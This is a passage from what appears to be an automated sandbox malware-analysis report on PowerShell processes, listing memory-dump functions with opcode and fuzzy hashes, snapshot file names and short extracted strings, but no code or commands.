Opcode ID: 67cc31b87157a0153ed360f08a627fcce13e0554399d7ef437b542d9a759ca30
Instruction ID: 1a54d1b7f29c3c0e39c0f002032e2f767cdc6fd55030d36fecfe52cd7f795120
Opcode Fuzzy Hash: 67cc31b87157a0153ed360f08a627fcce13e0554399d7ef437b542d9a759ca30
Instruction Fuzzy Hash: 43F0A7317006149FDB14A759EC44A6FB7E9EBC8265B00092DE10EC3340DF70AD0587B4

Function 00C6D998 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2240701661.0000000000C6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_c6d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3afa41b7216cc5c43dac866b8fd125214420946eb1f02bdd5029d45ca129a40
Instruction ID: ab23d40c02c111c9a9ff833f6b9c39088dd6b1280a59d47f9861b0ff4bcc1baf
Opcode Fuzzy Hash: a3afa41b7216cc5c43dac866b8fd125214420946eb1f02bdd5029d45ca129a40
Instruction Fuzzy Hash: EFF04975100A40AFD321CF06C985D23BBBAEB85760B298489A85A8B712CA70FC02CB60

Function 02DE90E8 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2240946925.0000000002DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2de0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed5bdc7820f5a29c4d707c2fcf8fed61e18f69e67bcca829a1629ccc4f6d3974
Instruction ID: dbeffb141087aff78af96b7081c80586baa4b2aee35e4ad10ed76ba19ce3c12a
Opcode Fuzzy Hash: ed5bdc7820f5a29c4d707c2fcf8fed61e18f69e67bcca829a1629ccc4f6d3974
Instruction Fuzzy Hash: 5FF055317041048BE320AF78C0587AFBBA7EBC5318F20812ED90A47386CE3A6D01CBE1

Function 02DE7697 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2240946925.0000000002DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2de0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db28c170217cc9177a6c03a1c912c88521b59e984d9357c01ca97ec09b3ce336
Instruction ID: 084030b8e172fccfc93c5f2d1951f894f69443c62320715af839b89e657e96c3
Opcode Fuzzy Hash: db28c170217cc9177a6c03a1c912c88521b59e984d9357c01ca97ec09b3ce336
Instruction Fuzzy Hash: 7DF0A0797001148FDF50EBACE840A9ABBA6EFC9755B054199E90ACB321DF20CC028B91

Function 02DE896A Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2240946925.0000000002DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2de0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66a40221a5ede7f7f52e0bb3aa03c664bcd2762d2470ccfa984e4d05c1b7a610
Instruction ID: 9ea548c5c92018ac42977df733c94fc56af14f2b0a80b125581411919403c8c5
Opcode Fuzzy Hash: 66a40221a5ede7f7f52e0bb3aa03c664bcd2762d2470ccfa984e4d05c1b7a610
Instruction Fuzzy Hash: A9F082353096815FCB0B6B74A4586BD7F62EF86325F0500AFD5068B293CF680C05CB91

Function 02DEAF98 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2240946925.0000000002DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2de0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0bf11ac78871a65f2872c1ab384a2b6bd41ea3272a51d86b2f297a5ad004132
Instruction ID: 66df5ae5f1b5801e38498279be957c5de683593fddb700ec8262a25d6021884e
Opcode Fuzzy Hash: b0bf11ac78871a65f2872c1ab384a2b6bd41ea3272a51d86b2f297a5ad004132
Instruction Fuzzy Hash: D5E0481170D3D51FCB1B623D583012E6FA78EC755035980BBE545CB392DD158D0A83F6

Function 02DEDE48 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2240946925.0000000002DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2de0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b285cb293162827dff24816d94095ed52b293e85c2f803cbfa3ada74453dfe76
Instruction ID: 31e805b33fdba9712e2975da041e68d78870f9fea2c159e27a5a884d2de91a45
Opcode Fuzzy Hash: b285cb293162827dff24816d94095ed52b293e85c2f803cbfa3ada74453dfe76
Instruction Fuzzy Hash: 57E0E5393001108F8610AB1DD498C66B7FAEFCEA6572900AAE58ACB321DF61EC01CB94

Function 02DEE92E Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2240946925.0000000002DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2de0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8680d572016055ab4c504e998334e0cc07b61d859436f06853b1f0db45147a1
Instruction ID: ead8a719a71693eccfcbe1b37cfe8d3fbfe9df47edc0565bbbc558a312e25370
Opcode Fuzzy Hash: b8680d572016055ab4c504e998334e0cc07b61d859436f06853b1f0db45147a1
Instruction Fuzzy Hash: 2AF06D39A01114DFCB00DB98E995D9DFBB2FB48325B158555E905A7352CB31ED01CB40

Function 02DEAF88 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2240946925.0000000002DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2de0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd2e05d8673316b26b8f0532da4cd0710e9531eea6b8dc57e947e95d9f471048
Instruction ID: 8cc35ad2b7d2b16da76334ecfad835e4d159cf85384c5274142c1655412c4bb2
Opcode Fuzzy Hash: bd2e05d8673316b26b8f0532da4cd0710e9531eea6b8dc57e947e95d9f471048
Instruction Fuzzy Hash: A4E092327083D61B8B16E2299860466BFB78EC762430840FBE082CF392DD515C02C3A1

Function 02DE9168 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2240946925.0000000002DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2de0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47606e220107f3d880602ef3b631aa3826e1d96233c70780f45cf14123d0e330
Instruction ID: 8b257e4db5e1f3320b11d7f8759f7e3bc15ed37755ece501544bae8f7ac5f8ff
Opcode Fuzzy Hash: 47606e220107f3d880602ef3b631aa3826e1d96233c70780f45cf14123d0e330
Instruction Fuzzy Hash: 94F06D70A017048FD760ABB8D8DC79ABBE5EB44314F00442DE51EC3341DB396880CB90

Function 02DE9549 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2240946925.0000000002DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2de0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea2a29a4707cbd9f08b87a4acfb4bd33cf4ecabae96265749d51f20bd627c798
Instruction ID: 09ac8101ec1366022873ca5259a7c8629054e802ad43334230b31d1dd96213ff
Opcode Fuzzy Hash: ea2a29a4707cbd9f08b87a4acfb4bd33cf4ecabae96265749d51f20bd627c798
Instruction Fuzzy Hash: BDE01222B071611B5E9476BA5A606FB66CFCAC6599B054079D906D7392ED40CC0193F1

Function 02DE8978 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2240946925.0000000002DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2de0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a0da8c3e43215fda9967a45485799986778eabaec5c606b29db77de335fd72d
Instruction ID: e7ad5fdb920dc3d502f887b36bf1ef88111000f884356a8e8523aa2cc9b0d2f6
Opcode Fuzzy Hash: 1a0da8c3e43215fda9967a45485799986778eabaec5c606b29db77de335fd72d
Instruction Fuzzy Hash: 70E08635704A555BCB093775A81C2BE7A57EBD5729F04003EEA0683382CF7D5D0197E5

Function 02DE9550 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2240946925.0000000002DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2de0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41caf62c89f891ac4766a29f2fba123c621d52fbbbe7052dee8d5e0a0e43d85d
Instruction ID: f3a6505de2fae1b31664c46872583aa72424b7f102d639ab6c1b43ba2ce73d6f
Opcode Fuzzy Hash: 41caf62c89f891ac4766a29f2fba123c621d52fbbbe7052dee8d5e0a0e43d85d
Instruction Fuzzy Hash: 04D05E22B031211B4EA475BA59106BFA1CFCAC55A9B05403ADA0BC3392ED40CC0193F1

Function 02DEDCE8 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2240946925.0000000002DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2de0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
Instruction ID: bbdf06084aec0329a0f9a96bcb5e41d7eda5a9dd8566d532f272ac81d86a8d68
Opcode Fuzzy Hash: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
Instruction Fuzzy Hash: CBE08631B10114978B08A959D4144EDF7AEDBCD220F04807AD94AA7340DE329D15C6E1

Function 02DEDC98 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2240946925.0000000002DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2de0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cceab8b4d832a4178fc5c925fb73e49dc9c85be867e838f0aa77fe2d9f57238
Instruction ID: 12bf280eb7bc512883468a9f1fb49979c6cdeb50f9aed5f54696e2d513d32be9
Opcode Fuzzy Hash: 9cceab8b4d832a4178fc5c925fb73e49dc9c85be867e838f0aa77fe2d9f57238
Instruction Fuzzy Hash: D4E0C231700A10578625B71EA80089F7BDFDFC8671310842EE10AC7301DFA8DD0587E5

Function 02DE8739 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2240946925.0000000002DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2de0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bd3dbfefe9ad0ee9298a88dcbc0f3b7a1b431508162bfb98012c43f356d85e8
Instruction ID: b18459dbd5a77293426ae20307093c8c5eb252572bd2dff5c374e98abef37f5f
Opcode Fuzzy Hash: 8bd3dbfefe9ad0ee9298a88dcbc0f3b7a1b431508162bfb98012c43f356d85e8
Instruction Fuzzy Hash: 00E01A30804149DFCB09FBA4D86A8FA7F30EB06305B0001ADD553975A2DE31194ACB80

Function 02DE8800 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2240946925.0000000002DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2de0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85451b6fef6c843d3a03ee6812bff1341600b4415d3fc8a8b1eb82bff31bd0ee
Instruction ID: c821c61897678a9ac70b479c38775e28874075885edf0f91e7263290fc8ef479
Opcode Fuzzy Hash: 85451b6fef6c843d3a03ee6812bff1341600b4415d3fc8a8b1eb82bff31bd0ee
Instruction Fuzzy Hash: B6E09230D092468FCB14DF64D496869BFB0EB0A214B0041ADDD4797352DA304800DF40

Function 02DEF460 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2240946925.0000000002DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2de0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec984b39169cc04763207d5cd3d71ca06dba4e45a77c48e3c8f4f60649fe7a8e
Instruction ID: 67ce36dc10f8245fdd6672c57960cd8448663ebf0eab97d061ae9d3b3e6ef6e8
Opcode Fuzzy Hash: ec984b39169cc04763207d5cd3d71ca06dba4e45a77c48e3c8f4f60649fe7a8e
Instruction Fuzzy Hash: 0DE0ED70D041499F8B80EFB9845196EFFF4AF09200F24C4AE8949DB712E6318911CB91

Function 02DEF470 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2240946925.0000000002DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2de0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction ID: 771a676bcbecd90abc8691187e3e17b63d6d5e2a9efb2eb1da41bc055bcebc3b
Opcode Fuzzy Hash: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction Fuzzy Hash: CED067B0D042099F8B80EFADC94156EFBF4EF48200F6085AA891DE7301E7329A12CBD1

Function 02DE8748 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2240946925.0000000002DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2de0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cafad8e754152a1dbc3045f9ae108d43d22ef7063720a12becb9c599a6719b4a
Instruction ID: 8dd1142419060fff5ceb26ed1ea3019d3a3d69b2576b6333aad6a47ab31f7593
Opcode Fuzzy Hash: cafad8e754152a1dbc3045f9ae108d43d22ef7063720a12becb9c599a6719b4a
Instruction Fuzzy Hash: B7D06731C04509DBCB08BBA4E85A4FDBB74FA14306F40416DD91792691EA355A5ACBC5

Function 02DE8810 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2240946925.0000000002DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2de0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 998985de6ba545e90033aeafe08f1e1957d802077473d9753749494606cb1ea0
Instruction ID: ae5d3f667c29fc92657d1f0adbe6ace137cde82a659c7170734f640ff56b6093
Opcode Fuzzy Hash: 998985de6ba545e90033aeafe08f1e1957d802077473d9753749494606cb1ea0
Instruction Fuzzy Hash: 08D05E34E0820A9FCB18EFA4E84A86EBFB4EB48305F008169DD4AD3351EA309C01DFC1

Function 02DEEA57 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2240946925.0000000002DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2de0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ae8542bf24970a726a0c882ac915f44d6b401582ac3783c10eb045931b24b6f
Instruction ID: 25b56c228b9367fab4cefed837f4f6c4b2ed1a25b19ad0874fc6d0ae700f2519
Opcode Fuzzy Hash: 2ae8542bf24970a726a0c882ac915f44d6b401582ac3783c10eb045931b24b6f
Instruction Fuzzy Hash: F0D09239A40218CFDB04DB98E895A9CF771FB84329F1081A5E51A97351CB32ED12CB40

Function 02DE7932 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2240946925.0000000002DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2de0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d6e5d2499daa71d87c9da095f7c42827876b37a31ec5aa253598e397ad1cfb4
Instruction ID: 3e7234c5016049eed465862affadebe77ad69f5fb21ed637efaef3a9abaf289a
Opcode Fuzzy Hash: 1d6e5d2499daa71d87c9da095f7c42827876b37a31ec5aa253598e397ad1cfb4
Instruction Fuzzy Hash: 1AD012744493C89BCB554F78A4C49053F55AB02252B0008EDD8864A1A3C976C044CF00

Function 02DE7EA0 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2240946925.0000000002DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2de0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fa8e1a12983258e59b9ab96fd7fd77611fec99b8c4f138880c5af8fe94b3055
Instruction ID: 0654efc9de47aa8d89cd0ae84a01631f3a51781cfa4f6a05538e4abd3bd652b0
Opcode Fuzzy Hash: 6fa8e1a12983258e59b9ab96fd7fd77611fec99b8c4f138880c5af8fe94b3055
Instruction Fuzzy Hash: 09C02BA04182D01DFF95C33044D83037EF15F83A07F0547C4C0C086C15C858C404CF02

Function 02DE7940 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2240946925.0000000002DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2de0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b42abf7718549910ae9ca21e7e47bd97fcf43028f342b4d12a1caeef56a004f5
Instruction ID: 72bd0fd62e783c7d54e3814f0ee88923f72295ec7fe03c75d68028ec7a5b6ecb
Opcode Fuzzy Hash: b42abf7718549910ae9ca21e7e47bd97fcf43028f342b4d12a1caeef56a004f5
Instruction Fuzzy Hash: 0AB0923018974C8FC2486F75A844815732DAB4121638004E8E80E0A2A2DE76E884CA44

Non-executed Functions

Function 02DE200D Relevance: 5.0, Strings: 4, Instructions: 25COMMON

Download Yara Rule

Strings

q, xrefs: 02DE2032
q, xrefs: 02DE2022
q, xrefs: 02DE2012
q, xrefs: 02DE2042

Memory Dump Source

Source File: 00000008.00000002.2240946925.0000000002DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2de0000_powershell.jbxd

Similarity

API ID:
String ID: q$q$q$q
API String ID: 0-594874556
Opcode ID: 4961dd567d6fcb0142c29059cd5be155c558c904b057c722cf45714b9b7aed75
Instruction ID: dd7321cbbae1a2e9d382ba53165eeec4f37eb1a0425401614f3df7dd99e8cf02
Opcode Fuzzy Hash: 4961dd567d6fcb0142c29059cd5be155c558c904b057c722cf45714b9b7aed75
Instruction Fuzzy Hash: 17E092B5D0D2C69FF723532D582A2E83BA08F26314F4000F94C69CB5C3F5AE086A834A

Analysis Process: powershell.exePID: 4976, Parent PID: 6524COMMON

Executed Functions

Function 04B4B490 Relevance: 2.8, Strings: 2, Instructions: 252COMMON

Download Yara Rule

Strings

Y?n^, xrefs: 04B4B557
{Y?n^, xrefs: 04B4B6F0, 04B4B6F5

Memory Dump Source

Source File: 0000000B.00000002.2281230984.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID: {Y?n^$Y?n^
API String ID: 0-1095678209
Opcode ID: 825e17e2de1bb6bab5117e7eb609739e856259018863c30ed6fc3bb0b6389fdc
Instruction ID: 2913b155a20513f845d61f9f91d373765add987c772f1996421ab01fc7a325bd
Opcode Fuzzy Hash: 825e17e2de1bb6bab5117e7eb609739e856259018863c30ed6fc3bb0b6389fdc
Instruction Fuzzy Hash: 6E918D71F417559BEB19EFB488116AEBBB2EFC8B00B40891DD116AB380DF34AD058BD5

Function 07A62308 Relevance: 9.4, Strings: 7, Instructions: 639COMMON

Download Yara Rule

Strings

T, xrefs: 07A62A64
piNk, xrefs: 07A62416
piNk, xrefs: 07A623A0
|,Pk, xrefs: 07A625DB
piNk, xrefs: 07A623B0
piNk, xrefs: 07A62582
piNk, xrefs: 07A62363

Memory Dump Source

Source File: 0000000B.00000002.2297959504.0000000007A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7a60000_powershell.jbxd

Similarity

API ID:
String ID: T$piNk$piNk$piNk$piNk$piNk$|,Pk
API String ID: 0-1654981339
Opcode ID: 8f987c30321eb830b5b81a65c6a18fc4370e2fc6b8f01082df9491ef62836d6c
Instruction ID: 0050315efdcf01747ee3efe3e3122a85a372b73ef657fde35371454375e47515
Opcode Fuzzy Hash: 8f987c30321eb830b5b81a65c6a18fc4370e2fc6b8f01082df9491ef62836d6c
Instruction Fuzzy Hash: 8B222BB1B00206DFDB259FB8C4087AEBBE1BFC5211F04847AE525CB692DB75D845C7A2

Function 07A63CE8 Relevance: 1.8, Strings: 1, Instructions: 583COMMON

Download Yara Rule

Strings

\, xrefs: 07A640D4

Memory Dump Source

Source File: 0000000B.00000002.2297959504.0000000007A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7a60000_powershell.jbxd

Similarity

API ID:
String ID: \
API String ID: 0-2967466578
Opcode ID: e21f386efbf01e5be72aaf69713915cddfee7c6bcb8cf8c13e4cf3cc816553a2
Instruction ID: 1015f9789ea97e66f8f8f67e9e4de1c7eff013ad0ce3039e23e95699da78086a
Opcode Fuzzy Hash: e21f386efbf01e5be72aaf69713915cddfee7c6bcb8cf8c13e4cf3cc816553a2
Instruction Fuzzy Hash: 32128AF1B04292CFDB258B78C81876BBBB29FC5210F14847AD525CF652DB31D942C7A2

Function 07A63CC6 Relevance: 1.4, Strings: 1, Instructions: 122COMMON

Download Yara Rule

Strings

<, xrefs: 07A63CCC

Memory Dump Source

Source File: 0000000B.00000002.2297959504.0000000007A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7a60000_powershell.jbxd

Similarity

API ID:
String ID: <
API String ID: 0-4251816714
Opcode ID: 58bb7464f21697a45286e4d6c6b7b7fccec2b4b4c3b10867e51f1c0aabb6bca3
Instruction ID: 5e4b1e0a664e9d88cc43cb0231f1cdb8582386f2c7b93d5090fd1bc44da9e403
Opcode Fuzzy Hash: 58bb7464f21697a45286e4d6c6b7b7fccec2b4b4c3b10867e51f1c0aabb6bca3
Instruction Fuzzy Hash: 9E4104F5A01202DFDF258B69C6187AABBF29FC1650F0488A5E9118F752D731EC4AC7B1

Function 04B4E580 Relevance: 1.4, Strings: 1, Instructions: 103COMMON

Download Yara Rule

Strings

piNk, xrefs: 04B4E5CF

Memory Dump Source

Source File: 0000000B.00000002.2281230984.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID: piNk
API String ID: 0-3118945652
Opcode ID: 0f49db7bcba9ef6da2c17910499b5849ea4426ddf657f4ba1390fda3fe27225b
Instruction ID: b3d1cca672290c84f51a323110c9621e68eead672c9eff40f019654d46d23e5c
Opcode Fuzzy Hash: 0f49db7bcba9ef6da2c17910499b5849ea4426ddf657f4ba1390fda3fe27225b
Instruction Fuzzy Hash: 2441CC30A012458FCB24DF78D898A9EBBF1FF99300F0486A9D415AB391DB34AD05CF91

Function 04B4E5A8 Relevance: 1.3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

piNk, xrefs: 04B4E5CF

Memory Dump Source

Source File: 0000000B.00000002.2281230984.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID: piNk
API String ID: 0-3118945652
Opcode ID: c5a1db492cfd111bed236e0fa118f9b13148b346c3b72b35b03c363ee0fc0c00
Instruction ID: e5ebb90b56e9bcfc7bb0beae902698ef41a0e069f9ab3aa9beddc27fdb6fc362
Opcode Fuzzy Hash: c5a1db492cfd111bed236e0fa118f9b13148b346c3b72b35b03c363ee0fc0c00
Instruction Fuzzy Hash: B9314734A00206DFDB24DF69D994A9EBBF2FF98304F108569D416AB390DB74AD05CBA1

Function 04B4DC88 Relevance: 1.3, Strings: 1, Instructions: 28COMMON

Download Yara Rule

Strings

+/?n^, xrefs: 04B4DCBE

Memory Dump Source

Source File: 0000000B.00000002.2281230984.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID: +/?n^
API String ID: 0-1499590220
Opcode ID: 975d1b4393b1f8c7494b07c7c1ee66f23fbe984770aef9909d71008266d25b6d
Instruction ID: cd4527d69fc33f13c2de4fda3ced9f7e16511308da1e18a5e2518c5625d952ae
Opcode Fuzzy Hash: 975d1b4393b1f8c7494b07c7c1ee66f23fbe984770aef9909d71008266d25b6d
Instruction Fuzzy Hash: 36E02231B016401BC726D22DA800C9F6F9ACFC9271305446EE0498B241DE90880587E1

Function 04B4DC98 Relevance: 1.3, Strings: 1, Instructions: 23COMMON

Download Yara Rule

Strings

+/?n^, xrefs: 04B4DCBE

Memory Dump Source

Source File: 0000000B.00000002.2281230984.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID: +/?n^
API String ID: 0-1499590220
Opcode ID: 048d005f2626d6a165c411ccb7bf7af3365c3ccdcf6babda950b32cc064d7f5d
Instruction ID: 15892f3f0364087c3006decb14944f52b9f4b4ae5ac54b340b7e9dc38ced0add
Opcode Fuzzy Hash: 048d005f2626d6a165c411ccb7bf7af3365c3ccdcf6babda950b32cc064d7f5d
Instruction Fuzzy Hash: 38E08C36B00610478616A61EA80085FBB9EDBC8671315446EE119CB300DEA4EC0147D5

Function 04B4E7A8 Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2281230984.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f64c7e194d8906668c44bc6b21c934b56b5b0f4a069d475f5a9765294277aa81
Instruction ID: 989af7cd461e626c1c372b9c607ec9d799df32916d956513ffd0c5beb68bbb68
Opcode Fuzzy Hash: f64c7e194d8906668c44bc6b21c934b56b5b0f4a069d475f5a9765294277aa81
Instruction Fuzzy Hash: E1913630B102148FCB14DFA9D59456EBBE6BFC8710B1585AAE902EB391DF70EC42DB90

Function 04B429F0 Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2281230984.0000000004B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_4b40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e5077d798096fe4020bac8ff6618c365c9952784734bbe200fa849eb41cd5b5
Instruction ID: fa906ee6eda11412410439f6705ccc5d46be1f644df51971f650c8352218f1d4
Opcode Fuzzy Hash: 8e5077d798096fe4020bac8ff6618c365c9952784734bbe200fa849eb41cd5b5
Instruction Fuzzy Hash: D5917F74A00205CFCB19CF59C494AAEFBB1FF88310B248699E9159B3A5C735FC51DBA0

Function 04B47728 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

